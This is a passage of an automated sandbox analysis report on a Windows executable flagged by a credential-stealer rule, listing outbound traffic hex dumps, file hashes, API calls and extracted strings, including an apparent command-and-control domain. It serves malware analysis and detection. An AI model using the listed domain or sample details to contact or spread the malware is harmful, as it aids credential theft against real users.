2024-12-27 13:53:40 UTC	15331	OUT	Data Raw: 1c c6 9a 02 ec f2 f5 ed f4 48 a2 1f 9c 4b d2 59 6d 27 43 93 dd 09 33 91 15 b2 d2 82 c7 7b 0c db ae f8 fa b2 67 c1 15 4c 72 38 51 8c a6 60 de d5 12 6c a4 2d 54 d5 71 52 b0 a6 6c ff 96 e5 dd 0f dc ae ac b1 dc 78 6a 80 20 86 cf 6c 16 c6 af d9 05 8c ce 04 cf 6d e4 bd 5a 8a de 06 7b 1f d7 13 80 b0 ad 79 14 a7 34 58 73 d6 db c4 bf 93 c5 33 32 64 45 a8 c5 20 71 a5 ff 6c a1 3f 98 6f a3 d2 f6 71 de 8f 1e f0 cd a7 e4 72 39 df d0 1d d5 28 b7 2e 3c 4b 6b f1 e5 39 fe 2a a8 a0 6a cf c3 25 ba de 48 5f 48 f3 a0 ff 3a 34 f9 01 85 78 d0 e9 5f d3 10 85 23 64 09 8f 04 46 10 f4 d8 09 6f 54 12 b7 49 64 44 88 4a b3 49 2b 3d 5f 5d f8 9f 76 c8 e3 60 ca cb 41 09 1c 56 fb f1 ea 85 3e 68 fa 10 d5 f4 5c 9f 7f c1 bd d4 e0 dd f5 c5 e0 50 40 b5 c2 6a 32 b5 5c 96 95 32 9c b5 77 eb fd ff Data Ascii: HKYm'C3{gLr8Q`l-TqRlxj lmZ{y4Xs32dE ql?oqr9(.<Kk9*j%H_H:4x_#dFoTIdDJI+=_]v`AV>h\P@j2\2w
2024-12-27 13:53:40 UTC	15331	OUT	Data Raw: 1c 3f a1 25 31 6b 43 6f cd 2f c9 90 77 ac cc 7a 98 30 ee 57 1f 02 52 9e 6a a7 94 61 95 b7 bd e0 1a bc 97 cd 51 87 48 19 91 7e c2 0d f8 23 dd 59 b3 06 e4 f7 c7 b5 1a f5 a4 86 92 c8 a6 b8 c6 5a d3 15 26 0a 83 59 5f 38 b5 be c1 a6 45 f6 ed 22 36 90 74 97 b8 0d b7 44 2a 6a 1f ca d3 27 4f c9 1d a1 24 6e 59 99 0c 17 ae 3f df 2d 02 af f1 11 ff f0 c4 48 94 9b c4 39 90 8a 2e c9 68 f4 ff 7f 43 09 e4 0f 7d c0 38 f0 d8 1f 18 8a ea d7 3d 6f c5 29 52 5e 5e 32 ed 36 9c ce 21 0d 33 b4 0b 3c c5 00 42 87 5b 18 a5 9d d2 f8 6b 4a 48 1a f1 d2 71 e4 d1 95 02 56 b5 f3 fe f1 f4 e1 bd dd 99 f1 b4 8f ab 9b 86 d3 ff bf f4 ab b6 6a 6d 0d 42 04 6e 05 fa 7f a2 73 28 d0 b0 44 6c 01 cb 1e 5c 7f d3 fe 15 93 94 11 67 a6 98 1d 43 b6 d8 52 d2 9e c4 40 10 91 85 8e 1b 21 50 78 33 df ff d6 a2 Data Ascii: ?%1kCo/wz0WRjaQH~#YZ&Y_8E"6tD*j'O$nY?-H9.hC}8=o)R^^26!3<B[kJHqVjmBns(Dl\gCR@!Px3
2024-12-27 13:53:40 UTC	15331	OUT	Data Raw: fd 6e 82 c8 ae 47 f8 51 91 a2 b0 0d 4d 71 b7 aa a3 bd b7 9c 84 70 ae ef 55 9e 36 80 eb 1c fe c5 b1 ab 19 88 ac 4f 7d 5f 37 ee c5 3c be fb 11 8e e9 69 a5 90 50 62 b9 1e b6 38 25 59 35 a5 00 0e bc c0 3c 53 94 8c 2c 2a cc 74 22 9b f3 a3 68 8b e7 dd f7 9b 00 bf 10 1d d4 a3 cb c0 ad 13 e5 71 54 6c fb 71 17 37 63 d9 b6 18 db f8 88 c6 4b 7f dd 69 a7 5e fd ab d5 bf 29 7d 5f 1f fd 0b a7 f8 06 7e 6a 1f 59 1c 04 ea db 44 16 5d 59 fb 19 aa 24 ba 71 3c f7 56 f1 2c e4 71 61 26 b7 09 9b e8 ef 78 d0 b1 c8 72 3d f8 20 3b a7 6f cb 00 c0 b9 aa 00 03 c4 59 ae 51 fa a7 1b 5e 1f 20 ef 89 95 17 39 e4 d5 da cc 39 8c 70 0b 97 b9 65 89 27 b4 09 70 46 fb af 7e fa 41 08 46 9d 30 fc 1c 9c b9 01 ef f7 d8 ad b4 45 d6 de 23 cd 50 da c7 d7 c1 2f a8 5c db 5f bf 2e d6 0c e6 ec 79 7f 87 e9 Data Ascii: nGQMqpU6O}_7<iPb8%Y5<S,*t"hqTlq7cKi^)}_~jYD]Y$q<V,qa&xr= ;oYQ^ 99pe'pF~AF0E#P/\_.y
2024-12-27 13:53:42 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:53:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=12q3279td09685q9inqbqsn6bs; expires=Tue, 22 Apr 2025 07:40:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p4VcYvJxRZf8AK1Gj6oHTyoyl73iHNkC7OEH8CQRVOQRD6fiLRWIYHdXQfYeiVnu3YAu3QiQHNiYGtYuCZaOjIkU1KrKUbPJEdQ11to0CnTk2nIJ7wamwergiVFnaj%2FteaY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89cc545d4872a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19075&min_rtt=1834&rtt_var=11048&sent=339&recv=577&lost=0&retrans=0&sent_bytes=2837&recv_bytes=554773&delivery_rate=1592148&cwnd=194&unsent_bytes=0&cid=20e83bc5920baa90&ts=2459&x=0"

Target ID:	0
Start time:	08:53:19
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Wvo9FU4qo9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Wvo9FU4qo9.exe"
Imagebase:	0x4b0000
File size:	1'890'304 bytes
MD5 hash:	D65DFAAFD41DE8A252A930DA84763E79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1602681941.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	79.4%
Total number of Nodes:	359
Total number of Limit Nodes:	29

Executed Functions

Function 004D2E6D Relevance: 48.8, APIs: 2, Strings: 25, Instructions: 1505COMMON

Download Yara Rule

Strings

Q*RG, xrefs: 004D2F5F
p7M, xrefs: 004D38C0
CNF8, xrefs: 004D2F3F
R03!, xrefs: 004D2F77
_^]\, xrefs: 004D3695
mindhandru.buzz, xrefs: 004D33BD
+A#C=]=_, xrefs: 004D3F9D
I, xrefs: 004D3048
g}zh, xrefs: 004D2F27
JOSP, xrefs: 004D2F6F
~SS}, xrefs: 004D2F37
rp, xrefs: 004D3FF3
eN, xrefs: 004D41BA
V], xrefs: 004D31FA
_^]\, xrefs: 004D2EA5
s, xrefs: 004D2FCA
9#', xrefs: 004D3040
8]pY, xrefs: 004D2EFF
"7M, xrefs: 004D3719
=]=_, xrefs: 004D3D0E
wdnf, xrefs: 004D2F07
- $f, xrefs: 004D3038
%", xrefs: 004D334A
].n^, xrefs: 004D2F57
Fm, xrefs: 004D31F2

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: "7M$%"$+A#C=]=_$- $f$8]pY$9#'$=]=_$CNF8$Fm$I$JOSP$Q*RG$R03!$V]$].n^$_^]\$_^]\$eN$g}zh$mindhandru.buzz$p7M$s$wdnf$~SS}$rp
API String ID: 0-492231312
Opcode ID: 831fdc47a0ee33ef5e849e02a5efaaf2111ea89f9ea1d0bd95952dde206b564b
Instruction ID: 3cf622a18649f94140edf3c6408c2a18cd1467769b101f1f73952081219d9413
Opcode Fuzzy Hash: 831fdc47a0ee33ef5e849e02a5efaaf2111ea89f9ea1d0bd95952dde206b564b
Instruction Fuzzy Hash: 12B234B1A08301CFD714CF29C8917ABBBE2FF85314F19856EE4859B391D7389912CB96

Function 004C57C0 Relevance: 29.7, APIs: 1, Strings: 15, Instructions: 1713COMMON

Download Yara Rule

Strings

3F&D, xrefs: 004C6273
pt}w, xrefs: 004C61F2
{zdy, xrefs: 004C611D
~mfQ, xrefs: 004C613E
WQ, xrefs: 004C59E3
t~v:, xrefs: 004C61E7
qRb`, xrefs: 004C6133
_^]\, xrefs: 004C5B14
w}MI, xrefs: 004C6128
L4, xrefs: 004C6BA0
*,-", xrefs: 004C66EF
uqrs, xrefs: 004C6AF0
ntxE, xrefs: 004C6112
S\], xrefs: 004C59EE
L4, xrefs: 004C6780

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$_^]\$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$S\]$WQ$L4$L4
API String ID: 0-510280711
Opcode ID: 59895079e7bc6bd38fccc57970cf513352ee6eb9d059b062de5c9742ee4213ce
Instruction ID: 7ae493c22668dc7c83ad0e8142cb9ab2e39a83ef3327a0073fa804b58730e93e
Opcode Fuzzy Hash: 59895079e7bc6bd38fccc57970cf513352ee6eb9d059b062de5c9742ee4213ce
Instruction Fuzzy Hash: 52C215B56083408FD7248F28D891BABB7E2FF95314F19893DE4C987392D7399811CB5A

Function 004D1D00 Relevance: 26.8, Strings: 21, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!@, xrefs: 004D1D36
s, xrefs: 004D2284
\, xrefs: 004D23C2
\, xrefs: 004D2150
,, xrefs: 004D21D9
g, xrefs: 004D20CC
?, xrefs: 004D1F02
], xrefs: 004D1DAE
^, xrefs: 004D23B8
8, xrefs: 004D1F07
Z, xrefs: 004D20DB
d, xrefs: 004D20D6
^, xrefs: 004D1DA9
^, xrefs: 004D2146
9, xrefs: 004D1F0C
\, xrefs: 004D1DB3
], xrefs: 004D23BD
_, xrefs: 004D23B3
], xrefs: 004D214B
_, xrefs: 004D1DA4
_, xrefs: 004D2141

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: !@$,$8$9$?$Z$\$\$\$]$]$]$^$^$^$_$_$_$d$g$s
API String ID: 0-1565257739
Opcode ID: 99d4e5286a11582b8e36299fa67380b059a3db8e91883c0b15a05063041609da
Instruction ID: 9eb9235d7e6c583b13ae0cd92e266dd3e42b3cd3dca5c289964ddd3913c8ab4e
Opcode Fuzzy Hash: 99d4e5286a11582b8e36299fa67380b059a3db8e91883c0b15a05063041609da
Instruction Fuzzy Hash: 9C22BE7150C7808FD3248F28C5A136FBBE1AB96314F14496FE9D987392D7B98846CB4B

Function 004E9280 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 661
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(00001F7A), ref: 004E9551
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004E958F
SysFreeString.OLEAUT32 ref: 004E98DF
SysFreeString.OLEAUT32(?), ref: 004E98E5
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,00001F7A,00000000,00000000,00000000,00000000), ref: 004E992E

Strings

Jtuj, xrefs: 004E92E5
t"j, xrefs: 004E966E
gd, xrefs: 004E968E
b{tu, xrefs: 004E92D9, 004E939B
SB, xrefs: 004E979E
:;$%, xrefs: 004E99C0
=hn, xrefs: 004E9676
O^, xrefs: 004E97A6

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: String$Free$AllocBlanketInformationProxyVolume
String ID: :;$%$=hn$Jtuj$O^$SB$b{tu$gd$t"j
API String ID: 1773362589-1335595022
Opcode ID: 5d432d7e539362405aa12dc95573b26e4032a52d14385257d581be5059e71b3c
Instruction ID: 8ae3d4c2ec050068229c643935bffa0b348b710d359e851aa28c52f5438e681c
Opcode Fuzzy Hash: 5d432d7e539362405aa12dc95573b26e4032a52d14385257d581be5059e71b3c
Instruction Fuzzy Hash: ED221276A183419BD310CF25C880B6BBBE2EFC5314F18892DE9D49B3A1D779D845CB86

Function 004C1227 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 750
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[, xrefs: 004C1555
), xrefs: 004C1A4D
@, xrefs: 004C17D0
L, xrefs: 004C1846
>, xrefs: 004C16FF
+, xrefs: 004C17CB
`, xrefs: 004C13A4
F, xrefs: 004C184E

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: )$+$>$@$F$L$[$`
API String ID: 0-4163809010
Opcode ID: a48e4d6aea50f48e541117e91ceab89cf8d125c9a6ac44a0720aa66ceb1f945b
Instruction ID: c63a471f8f4dfec0341c7e301f8d84929706ca96e0eab14613d8a1d48a411405
Opcode Fuzzy Hash: a48e4d6aea50f48e541117e91ceab89cf8d125c9a6ac44a0720aa66ceb1f945b
Instruction Fuzzy Hash: 4852C27560C7808BD364DB38C4907AFBBE1ABD6324F194A2EE4D9C7392D6388941CB57

Function 004E8EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 004E918C
_, xrefs: 004E9054
], xrefs: 004E8F46
^, xrefs: 004E8F41
\, xrefs: 004E919B
^, xrefs: 004E9059
_, xrefs: 004E8F3C
\, xrefs: 004E8F4B
], xrefs: 004E9196
^, xrefs: 004E9191
], xrefs: 004E905E
\, xrefs: 004E9063

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: \$\$\$]$]$]$^$^$^$_$_$_
API String ID: 0-1108506012
Opcode ID: 768de620b9939ba22e236952a2237da53f11c4971a0312d18e55c9c86931745a
Instruction ID: 80cd5343b44344de70eda90225a08abe5811749fcd69fa4c7433dea7e48956f8
Opcode Fuzzy Hash: 768de620b9939ba22e236952a2237da53f11c4971a0312d18e55c9c86931745a
Instruction Fuzzy Hash: 41B1F77164C7C08BE3148A69CC8436BBBD257C6325F1D4B6EE5E9873C2C6BD8885874B

Function 004B8600 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 356
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 004B8A4B

Part of subcall function 004BB7B0: FreeLibrary.KERNEL32(004B8A31), ref: 004BB7B6
Part of subcall function 004BB7B0: FreeLibrary.KERNEL32 ref: 004BB7D7

Strings

}, xrefs: 004B8913
}, xrefs: 004B890C
b]u), xrefs: 004B8877

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: FreeLibrary$ExitProcess
String ID: b]u)$}$}
API String ID: 1614911148-2900034282
Opcode ID: 07e63ec80adbfd8e0f375101bf08e84a4632c36aa94100090e6a31d3ea71ecc4
Instruction ID: 626555fd393c8200fba21d44e6fefda013f88d44cfacedcd6a2771fde1e9ce1c
Opcode Fuzzy Hash: 07e63ec80adbfd8e0f375101bf08e84a4632c36aa94100090e6a31d3ea71ecc4
Instruction Fuzzy Hash: 19C1F573E187144BC708DF69C84125AF7D6ABC8714F0EC52EA898EB395EA74DC058BC6

Function 004DD34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004DD3EE

Strings

><+, xrefs: 004DD353

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: ><+
API String ID: 3960555810-2918635699
Opcode ID: 0cf53f227c344abd225a6db2e2f4e0b766a5034cb7f109694549c8cb7a58a365
Instruction ID: e46e92a001a6f7cef7ab2064a012b1d0adbd63c3413efe218b0231977a608ad9
Opcode Fuzzy Hash: 0cf53f227c344abd225a6db2e2f4e0b766a5034cb7f109694549c8cb7a58a365
Instruction Fuzzy Hash: 1FC1C575A047418FD725CF2AC4A0762FBE2BF96314F18859EC4DA8B752C739E806CB54

Function 004F0D20 Relevance: 2.9, Strings: 2, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@Ukx, xrefs: 004F0F53
, xrefs: 004F0DC3, 004F0EAB

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeThunk
String ID: @Ukx$
API String ID: 2994545307-3636270652
Opcode ID: 2c06af15b00f35e87e06b1475b5d04b11b5bf3300df42a68fef9347075d7975e
Instruction ID: 538296a3c6cf51cf86e0c6e350db9c97934ca1bfda58b3f6e2b4e55d50ad4fb3
Opcode Fuzzy Hash: 2c06af15b00f35e87e06b1475b5d04b11b5bf3300df42a68fef9347075d7975e
